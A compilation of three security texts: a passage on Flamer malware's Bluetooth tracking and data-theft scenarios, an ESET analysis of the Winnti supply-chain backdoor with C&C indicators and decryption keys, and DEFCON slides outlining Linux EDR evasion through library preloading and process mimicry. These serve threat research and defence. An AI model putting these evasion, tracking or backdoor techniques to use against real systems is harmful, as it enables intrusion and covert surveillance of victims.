By continuously monitoring the Bluetooth devices within range of a W32.Flamer compromised computer, the attacker can build a profile of various devices encountered throughout the day. This will be particularly effective if the compromised computer is a laptop because the victim is more likely to carry it around. Over time, as the victim meets associates and friends, the attackers will catalog the various devices encountered, most likely mobile phones. This way the attackers can build a map of interactions with various people—and identify the victim's social and professional circles.
**Scenario #2 – Identification of victim physical locations**
When compromising a victim's computer, the attacker has determined that this particular victim and their location is a high-priority target. While the building that the victim resides in can be known, the actual office is not identified. The attacker, however, could identify the location of compromised devices using Bluetooth. Bluetooth operates over radio waves. By measuring the strength of a radio wave signal, an attacker can measure if they are getting closer or further away to a particular device. With the Bluetooth beacon turned on, and with the details of a particular compromised device available in the description field, it is straightforward for the attacker to identify the physical location of a W32.Flamer compromised computer or device.
An alternative to this is that rather than identifying the actual compromised computer, the attacker identifies a mobile phone which belongs to the victim. The Beetlejuice module already has retrieved a list of all the devices IDs which are near to the infected computer and so the attacker knows what devices belong to the victim. It is likely that one of the devices is a mobile phone which the victim carries most times. Now the attacker has the ability to passively monitor for the victim, without installing or modifying the victim's devices. Bluetooth monitoring devices could be placed in airports, train stations, or any transport hub, and listen for the ID values of any known victim device. Some attacks have even identified Bluetooth devices more than one mile away. The more sinister aspect of this passive sniffing is that it allows the attacker to pinpoint a victim and, therefore, more easily track them in the future.
**Scenario #3 – Enhanced information gathering**
As described in our previous blog, a substantial part of Flamer’s functionality is implemented in Lua scripts, or 'apps' which are downloaded from the FLAME 'app repository’. It would be trivial for an attacker to upload a new malicious Bluetooth Lua app into the FLAME store for download onto a compromised device. With increased functionality, an attacker, having identified various Bluetooth devices in range, could perform numerous attacks:
- Steal contacts from an address book, steal SMS messages, steal images, and more.
- Use a device to eavesdrop. Connect a compromised computer to a nearby device and enable hands-free communication. When the device is brought into a meeting room, or used to make a call, the attackers could listen in.
- Exfiltrate already-stolen data through any nearby device's data connection. This would bypass any firewalls or network controls. An attacker within one mile of the target could use their own Bluetooth-enabled device for this.
It is possible that there is undiscovered code within W32.Flamer which already achieves some of these goals. For example, although we have not found network code near the 'beacon' code, one compromised computer may connect to another computer using Bluetooth. If the second computer is using a secured network and was infected through a USB connection, potentially the only network available would be a Bluetooth connection back to the first compromised computer. The code to achieve this may already exist in Flame.
The various theories described here are all practical attacks, easily implemented by a skilled attacker. The sophistication of W32.Flamer indicates that the attackers are certainly technically skilled and such attacks are well within their capabilities. |
# Gaming Industry Targeted by Supply-Chain Attacks
This is not the first time the gaming industry has been targeted by attackers who compromise game developers, insert backdoors into a game’s build environment, and then have their malware distributed as legitimate software. In April 2013, Kaspersky Lab reported that a popular game was altered to include a backdoor in 2011. That attack was attributed to perpetrators Kaspersky called the Winnti Group.
Yet again, new supply-chain attacks recently caught the attention of ESET Researchers. This time, two games and one gaming platform application were compromised to include a backdoor. Given that these attacks were mostly targeted against Asia and the gaming industry, it shouldn’t be surprising they are the work of the group described in Kaspersky’s “Winnti – More than just a game”.
## Three Cases, Same Backdoor
Although the malware uses different configurations in each case, the three affected software products included the same backdoor code and were launched using the same mechanism. While two of the compromised products no longer include the backdoor, one of the affected developers is still distributing the trojanized version: ironically, the game is named *Infestation*, and is produced by Thai developer Electronics Extreme. We have tried informing them several times, through various channels, since early February, but without apparent success.
Let’s look at how the malicious payload is embedded and then look into the details of the backdoor itself.
### Embedding the Payload
The payload code is started very early during the execution of the backdoored executable file. Right after the PE entry point, the standard call to the C Runtime initialization is hooked to launch the malicious payload before everything else. This may suggest that the malefactor changed a build configuration rather than the source code itself.
The code added to the executable decrypts and launches the backdoor in-memory before resuming normal execution of the C Runtime initialization code and all the subsequent code of the host application. The embedded payload data has a specific structure that is parsed by the added unpacking code. It includes an RC4 key (which is XORed with 0x37) that is used to decrypt a filename and the embedded DLL file.
### The Malicious Payload
The actual malicious payload is quite small and only contains about 17 KB of code and data.
#### Configuration
The configuration data is simply a whitespace-separated list of strings. The configuration consists of four fields:
1. C&C server URL.
2. Variable (t) used to determine the time to sleep in milliseconds before continuing the execution. Wait time is chosen randomly in the range 2/3 t to 5/3 t.
3. A string identifying a campaign.
4. A semicolon-separated list of executable filenames. If any of them are running, the backdoor stops its execution.
ESET researchers have identified five versions of the payload:
| SHA-1 | Compile Time (UTC) | C&C server URL |
|-------|---------------------|-----------------|
| a0045939f | 2018-07-11 15:45:57 | https://bugcheck.xigncodeservice[.]com/Common/Lib/Common_bsod.php |
| a0260dcf1 | 2018-07-11 15:45:57 | https://bugcheck.xigncodeservice[.]com/Common/Lib/Common_Include.php |
| dd8e2093d | 2018-07-11 15:45:57 | https://bugcheck.xigncodeservice[.]com/Common/Lib/common.php |
| 44260a1d | 2018-08-15 10:59:09 | https://dump.gxxservice[.]com/common/up/up_base.php |
| 8272c1f4 | 2018-11-01 13:16:24 | https://nw.infestexe[.]com/version/last.php |
In the first three variants, the code was not recompiled, but the configuration data was edited in the DLL file itself. The rest of the content is a byte-for-byte copy.
### C&C Infrastructure
Domain names were carefully chosen to look like they are related to the game or application publisher. The apex domain was set to redirect to a relevant legitimate site using the Namecheap redirection service, while the subdomain points to the malicious C&C server.
| Domain Name | Registration Date | Redirection Target |
|-------------|-------------------|--------------------|
| xigncodeservice.com | 2018-07-10 | https://namu.wiki/[w]/XIGNCODE |
| gxxservice.com | 2018-08-14 | None or unknown |
| infestexe.com | 2018-11-07 | https://www.facebook.com/infest.[in].[th] |
| Subdomain Name | IP Addresses | Provider |
|----------------|--------------|----------|
| bugcheck.xigncodeservice.com | 167.99.106[.]49, 178.128.180[.]206 | DigitalOcean |
| dump.gxxservice.com | 142.93.204[.]230 | DigitalOcean |
| nw.infestexe.com | 138.68.14[.]195 | DigitalOcean |
At the time of writing, none of the domains resolve and the C&C servers are not responding.
### Reconnaissance Report
A bot identifier is generated from the machine’s MAC address. The backdoor reports information about the machine such as the user name, computer name, Windows version, and system language to the C&C server and awaits commands. The data is XOR encrypted with the key “*&b0i0rong2Y7un1” and base64-encoded. The data received from the C&C server is encrypted using the same key.
### Commands
This simple backdoor has only four commands that can be used by the attacker:
- DownUrlFile
- DownRunUrlFile
- RunUrlBinInMem
- UnInstall
The commands are pretty much self-explanatory. They allow the attacker to run additional executables from a given URL. The last one is perhaps less obvious. The UnInstall command doesn’t remove the malware from the system. Rather than removing anything, it disables the malicious code by setting the following registry value to 1:
```
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\ImageFlag
```
When the payload is started, the registry value is queried and execution is aborted if set. Perhaps the attackers are trying to reduce the load from their C&C servers by avoiding callbacks from uninteresting victims.
### Second Stage
Based on ESET telemetry, one of the second stage payloads delivered to victims is Win64/Winnti.BN. Its dropper was downloaded over HTTPS from api.goallbandungtravel[.]com. We have seen it installed as a Windows service and as a DLL in C:\Windows\System32 using the following file names:
- cscsrv.dll
- dwmsvc.dll
- iassrv.dll
- mprsvc.dll
- nlasrv.dll
- powfsvc.dll
- racsvc.dll
- slcsvc.dll
- snmpsvc.dll
- sspisvc.dll
The samples we have analyzed were actually quite large, each of them about 60 MB. This is, however, only for appearance because the real size of the PE file is between 63 KB and 72 KB, depending on the version. The malware files simply have lots of clean files appended to them.
Once the service runs, it appends the extension .mui to its DLL path, reads that file, and decrypts it using RC5. The decrypted MUI file contains position-independent code at offset 0. The RC5 key is derived from the hard drive serial number and the string “f@Ukd!rCto R$.”
Recent versions of the malware include an “auto-update” mechanism, using C&C server http://checkin.travelsanignacio[.]com. That C&C server served the latest version of the MUI files encrypted with a static RC5 key. The C&C server was not responding during our analysis.
### Targets
The malware checks to see if the system language is Russian or Chinese. In either case, the malware stops running. There is no way around this: the attackers are simply not interested in computers configured with those languages.
### Distribution Statistics
ESET telemetry shows victims are mostly located in Asia, with Thailand having the largest part of the pie. Given the popularity of the compromised application that is still being distributed by its developer, it wouldn’t be surprising if the number of victims is in the tens or hundreds of thousands.
### Conclusion
Supply-chain attacks are hard to detect from the consumer perspective. It is impossible to start analyzing every piece of software we run, especially with all the regular updates we are encouraged or required to install. So, we put our trust in software vendors that the files they distribute don’t include malware. Perhaps that’s the reason multiple groups target software developers: compromising the vendor results in a botnet as popular as the software that is hacked. However, there is a downside to using such a technique: once the scheme is uncovered, the attacker loses control and computers can be cleaned through regular updates.
We do not know the motives of the attackers at this point. Is it simply financial gain? Are there any reasons why the three affected products are from Asian developers and for the Asian market? Do these attackers use a botnet as part of a larger espionage operation?
ESET products detect this threat as Win32/HackedApp.Winnti.A, Win32/HackedApp.Winnti.B, the payload as Win32/Winnti.AG, and the second stage as Win64/Winnti.BN.
### Indicators of Compromise (IoCs)
**Compromised file samples (Win32/HackedApp.Winnti.A and B)**
| SHA-1 | Compile Time (UTC) | RC4 Key |
|-------|---------------------|---------|
| 7cf41b1acf... | Tue Nov 13 10:12:58 2018 | 17291310718272c1f4 |
| 7f73def251... | Wed Nov 14 03:50:18 2018 | 17291310718272c1f4 |
| dac0bd8972... | Tue Nov 27 03:05:16 2018 | 17291310718272c1f4 |
Some hashes were redacted per request from one of the vendors. If for a particular reason you need them, reach out to us at [email protected].
**Payload Samples (Win32/Winnti.AG)**
| SHA-1 | C&C Server URL |
|-------|-----------------|
| a0045939f... | https://bugcheck.xigncodeservice[.]com/Common/Lib/Common_bsod.php |
| a0260dcf1... | https://bugcheck.xigncodeservice[.]com/Common/Lib/Common_Include.php |
| dd8e2093d... | https://bugcheck.xigncodeservice[.]com/Common/Lib/common.php |
| 8272c1f4... | https://nw.infestexe[.]com/version/last.php |
| 44260a1d... | https://dump.gxxservice[.]com/common/up/up_base.php |
**Second stage samples (Win64/Winnti.BN)**
| SHA-1 | Compile Time (UTC) | C&C Server URL Prefix |
|-------|---------------------|-----------------------|
| 4256fa6f... | 2018-07-25 10:13:41 | None |
| bb4ab0d8d... | 2018-10-10 09:57:31 | http://checkin.travelsanignacio[.]com |
### MITRE ATT&CK Matrix
| ID | Description |
|----|-------------|
| T1195 | Supply Chain Compromise |
| T1050 | New Service |
| T1022 | Data Encrypted |
| T1079 | Multilayer Encryption |
| T1032 | Standard Cryptographic Protocol (RC4, RC5) |
| T1043 | Commonly Used Port (80,443) |
| T1009 | Binary Padding |
Marc-Etienne M. Léveillé
11 Mar 2019 - 11:27 AM |
# Zombie Ant Farm
## Practical Tips for Playing Hide and Seek with Linux EDRs
### DEFCON 27
#### Dimitry Snezhkov
- Technologist
- Member of the X-Force Red Team
- Hacking
- Tools, research
- All things offensive
## Linux Offense: The Context
Linux matters:
- It runs 90% of cloud workloads.
- Attacks bypass office networks and land directly in the backend.
- Attacks follow maximum ROI (access to data or computing resources).
- Linux adversarial efforts may be focused and targeted.
- Defense follows the attacker.
### Endpoint Detection and Response (EDR)
Solutions appear in Linux:
- Operators have to respond.
### Linux EDRs - A Case of a Mistaken Identity
“Who in the world am I? Ah, that's the great puzzle.”
No, you are not… I am in your Linux box…
- Pure play EDR products
- Heuristic engine in Antivirus
- Security Automation toolkits
- Deployment / Patch Management
- Side gig for app whitelisting solutions
- As features of DLP products
- Home grown monitoring frameworks
### Linux Offense: Strategic Sketches
Operators have to address:
- Initial foothold mechanism viability. Immediate detection.
- Logging of activities, delayed interception and analysis.
- Behavioral runtime patterns that trigger heuristics.
- Persistent readiness for the long haul.
- Evade automation.
- Deflect tool-assisted threat hunting.
### Proactive Supervision Context
- Quiet boxes. Reliance on behavioral anomaly.
- Locked down boxes. Reliance on known policy enforcement.
- Peripheral sensors, honeypots.
### Strategic Goals and Objectives, Distilled
Operational evasion:
- Operationally shut down EDRs.
- Directly exploit EDRs.
- Blind EDR reporting and response.
- Operationally confuse EDRs.
### Targeted Behavior Evasion:
- Target execution confusion.
- Bypass EDR detection with novel ways of target exploitation.
- Deflect artifact discovery by manual or tool-assisted threat hunting.
### Need a viable path to building Linux malware in the face of EDRs:
- Evade detection at target runtime.
- Hide and serve payloads in unpredictable ways to counter “the story”.
- Choice: Drop ready offensive tools on the target.
- Choice: Develop offensive tools on the target.
- Choice: Utilization principle, aka “Living off the land”.
### Assembled Attack: A blended approach to break the consistent story.
- Idea A: Bring in clean instrumented malware cradles.
- Idea B: Turn good binaries into instrumented malware cradles.
### Tactical Goals and Objectives, Sketches
**Stage I: Build out Offensive Primitives**
- Indiscriminate “preload and release” of legitimate binaries at runtime.
- Preload library chaining, "split/scatter/assemble” of payload features.
- Delayed payload triggers and features at runtime.
- Rapid payload delivery mechanism prototypes with instrumented cradles.
**Stage II: Weaponize and Operationalize Offensive Capabilities**
- Payload brokers, “Preload-as-a-service”. Inter-process and remote payload loading and hosting.
- Process mimicry and decoys.
- Library preloading in novel ways over memory.
### Dynamic Link Loading: The Basics
Linker wires up dynamic locations of needed libraries specified in the image.
**Execution Error:** Dynamic dependency not found…
```bash
$ ./executable
Error loading libctx.so
Where is the dependency?
$ ldd executable
libctx.so.1 => not found
$ readelf -d executable
0x0000000000000001 (NEEDED) Shared library: [libctx.so.1]
```
Dependency is resolved!
```bash
$ LD_DEBUG=libs LD_LIBRARY_PATH=./lib executable
```
### Dynamic ELF Hooking: The Basics
Hook, redefine and reroute known function entry points.
**Challenges:**
- Need to know the details of target API.
- Invoke and avoid detection.
- Interoperate with the target binary in a clean fashion without crashing it.
- Assumption inspection tooling availability on target.
### New ideas: Viability Check
- Be more agnostic to the specifics of any single API in the binary.
- Do not subvert the target. Instead:
- Compel it to execute malicious code.
- Use it as a decoy.
### Offensive Strategy: Desired Outcomes
- EDR sees the initial clean cradle, malware module loading is delayed.
- EDR sees the code executing by approved system binaries in the process table, trusts the integrity of the known process.
- EDR may not fully trace inter-process data handoff.
### Parent/Child process relationships in Linux are transitive.
- If you can start the parent process, you fully own its execution resources, and the resources of its progeny.
### Primitives for Working with Offensive Preloading
What we want:
- ELF ABI Level: .INIT/.FINI/.PREINIT
- C runtime level: __libc_start_main
- Linker Level: Weak Refs
### Additional Tips and Research Roadmap
1. ASLR at start weakening.
2. Cross Memory Attach.
### Offensive Summary
- Preloading is a viable path to evasion via system executables.
- Bring clean cradles to build on, or use executables on the target as decoys.
- Use assembled attack. Split/Scatter/Assemble techniques vs. EDRs.
- Out-of-process payload delivery is sometimes what you need.
- C FFI is the common denominator for interop on Linux, and can be used for evasion.
### What can the Defense do?
- Start implementing Linux capabilities.
- Define clearly what EDRs will and can do for you.
- Use provided ideas for manual threat hunting.
- Start thinking more about proactive contextual supervision.
Thank you! |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.